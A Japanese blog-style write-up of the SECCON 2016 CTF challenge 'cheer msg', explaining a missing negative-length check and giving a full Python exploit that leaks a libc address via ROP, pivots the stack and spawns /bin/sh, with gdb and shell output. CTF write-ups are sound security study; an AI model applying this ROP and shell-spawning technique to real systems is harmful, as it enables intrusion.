SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。
cheer msg (Exploit 100)
アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている(alloca相当の処理らしい)。
080485ca <main>: 80485ca: 8d 4c 24 04 lea ecx,[esp+0x4] 80485ce: 83 e4 f0 and esp,0xfffffff0 ... 80485e7: e8 21 01 00 00 call 804870d <getint> 80485ec: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 80485ef: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 80485f2: 8d 50 0f lea edx,[eax+0xf] 80485f5: b8 10 00 00 00 mov eax,0x10 80485fa: 83 e8 01 sub eax,0x1 80485fd: 01 d0 add eax,edx 80485ff: b9 10 00 00 00 mov ecx,0x10 8048604: ba 00 00 00 00 mov edx,0x0 8048609: f7 f1 div ecx 804860b: 6b c0 10 imul eax,eax,0x10 804860e: 29 c4 sub esp,eax
しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。
$ gdb ./cheer_msg Reading symbols from ./cheer_msg...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/minipwn/cheer_msg Hello, I'm Nao. Give me your cheering messages :) Message Length >> -150 Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> AAAA Thank you AAAA! Message : Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () 1: x/i $pc => 0x41414141: <error: Cannot access memory at address 0x41414141> (gdb) quit
ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。
ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。
from minipwn import *
s = connect_process(['./cheer_msg'])
#s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527))
print s.recv(8192)
sendline(s, '-150')
print s.recv(8192)
plt_printf = 0x8048430
got_libc_start = 0x804a028
addr_pop_ebp = 0x80487af
addr_pop2_ebp = 0x80487ad
addr_getnline = 0x80486bd
addr_bss = 0x0804a800
addr_leave = 0x8048518
# the offset of libc_start_main of the remote libc is 0x00019a00
buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start)
#buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1)
buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100)
buf += p32(addr_bss-4)
buf += p32(addr_leave)
sendline(s, buf)
print recvuntil(s, 'Message : \n')
data = s.recv(8192)
addr_libc_start = u32(data[:4])
#addr_libc_start = u32('\x00'+data[:3])
print "[+] addr_libc_start = %x" % addr_libc_start
addr_system = addr_libc_start - 0x00018540 + 0x0003a920
#addr_system = addr_libc_start - 0x00019a00 + 0x00040310
buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12)
buf += '/bin/sh\x00'
sendline(s, buf)
interact(s)
$ python solve.py
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >>
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >>
Thank you 0�)��!
Message :
[+] addr_libc_start = f7564a00
id
uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}
あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。
所感
他に解きたかった問題は以下。
- jmper (Exploit 300)
- checker (Exploit 300)
- tinypad (Exploit 300)
- chat (Exploit 500)